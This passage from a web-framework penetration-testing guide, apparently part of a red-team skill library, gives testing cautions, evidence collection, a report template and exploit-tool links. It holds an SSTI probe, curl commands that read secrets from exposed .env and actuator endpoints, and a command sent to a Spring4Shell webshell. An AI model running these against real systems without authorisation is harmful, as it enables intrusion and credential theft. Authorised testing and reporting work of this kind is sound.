# 7. SSTI payloads — use non-destructive tests first
# Start with arithmetic: {{7*7}} before command execution
# Never test destructive payloads (rm -rf, shutdown) unless explicitly scoped

# 8. Spring4Shell — creates a JSP file on disk
# Coordinate with client before executing to avoid SOC alerting on webshell creation
# Remove webshell immediately after demonstration: curl -sk https://$TARGET/tomcatwar.jsp -d "cmd=rm /path/to/tomcatwar.jsp"
```

### Log Artifacts Generated

- **Laravel:** `/storage/logs/laravel.log` records requests including IP, URI, and Ignition errors
- **Django:** Django debug toolbar stores query data; access logs at standard nginx/apache locations
- **Spring Boot:** Actuator access logged at INFO level; heapdump triggers JVM-level events
- **Next.js:** Standard access logs; middleware bypass leaves header in server-side logs
- **Rails:** `log/production.log` with full request details including parameters

---

## 7. Output and Documentation

### Evidence Collection Checklist

```bash
# Per framework finding, collect:
# 1. Screenshot or curl output of vulnerability confirmation
# 2. HTTP request/response pair (use -v with curl, save to file)
# 3. CVSS score note (consult rt-cvss-calculator)
# 4. Business impact statement
# 5. Proof of exploitation artifact (command output, screenshot, loot file)

# Example evidence capture
curl -sk -v https://$TARGET/.env 2>&1 | tee ~/engagements/$TARGET/evidence/laravel_env_exposure.txt

curl -sk -v https://$TARGET/actuator/env 2>&1 | tee ~/engagements/$TARGET/evidence/spring_actuator_env.txt

# Screenshot for report
# Use gowitness or chromium headless
gowitness single "https://$TARGET/admin" -o ~/engagements/$TARGET/screenshots/
```

### Finding Template

```markdown
## [CRITICAL/HIGH/MEDIUM] Framework Misconfiguration — <Framework> <Vulnerability>

**Affected URL:** https://TARGET/path
**Framework:** Laravel / Django / Spring Boot / Next.js / Rails
**CVE (if applicable):** CVE-XXXX-XXXXX
**CVSS Score:** X.X (Critical/High/Medium)

### Description
Brief description of the vulnerability and how it was identified.

### Steps to Reproduce
1. Send request: `curl -sk https://TARGET/path`
2. Observe: [response showing vulnerability]
3. Impact demonstrated by: [credential extracted / RCE achieved / auth bypassed]

### Evidence
[Screenshot or curl output attached]

### Impact
[Specific business impact — data exposed, systems compromised, lateral movement possible]

### Remediation
[Framework-specific fix with version or configuration reference]
```

### Recommended Downstream Skills

- After credential extraction → `rt-credential-hunt` (validate credentials across services)
- After RCE achieved → `rt-post-exploitation` (persistence, lateral movement)
- For reporting → `rt-finding-document`, `rt-technical-report`
- For CVSS scoring → `rt-cvss-calculator`
- For attack chain mapping → `rt-kill-chain-map`, `rt-mitre-map`

---

## 8. Resources

### Official Framework Security Advisories

- Laravel Security: https://github.com/laravel/framework/security/advisories
- Django Security: https://docs.djangoproject.com/en/stable/releases/security/
- Spring Security Advisories: https://spring.io/security
- Next.js Security: https://github.com/vercel/next.js/security/advisories
- Rails Security: https://rubyonrails.org/security

### CVE-Specific References

- CVE-2021-3129 (Laravel Ignition RCE): https://github.com/ambionics/laravel-exploits
- CVE-2022-22965 (Spring4Shell): https://github.com/reznok/Spring4Shell-POC
- CVE-2025-29927 (Next.js Middleware Bypass): https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw

### Exploit Tools and Frameworks

- phpggc (PHP gadget chains, useful for Laravel): https://github.com/ambionics/phpggc
- ysoserial (Java deserialization, Spring): https://github.com/frohoff/ysoserial
- tplmap (Server-Side Template Injection scanner): https://github.com/epinna/tplmap
- django-admin-honeypot: https://github.com/dmpayton/django-admin-honeypot (understand defenses)
- springboot-actuator-exploit: https://github.com/mpgn/Spring-Boot-Actuator-Exploit
- nuclei-templates (framework-specific): https://github.com/projectdiscovery/nuclei-templates/tree/main/http/technologies

### Research and Writeups

- HackTricks — Framework Pentesting: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web
- PayloadsAllTheThings — SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- PayloadsAllTheThings — Mass Assignment: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Mass%20Assignment/README.md
- PortSwigger Research — Spring: https://portswigger.net/research/spring-framework-exploits
- OWASP Testing Guide — Framework Testing: https://owasp.org/www-project-web-security-testing-guide/

### Wordlists

- SecLists (framework-specific): https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
  - `spring-boot.txt` — Spring Boot actuator paths
  - `django.txt` — Django admin and common paths
  - `Laravel.txt` — Laravel-specific paths
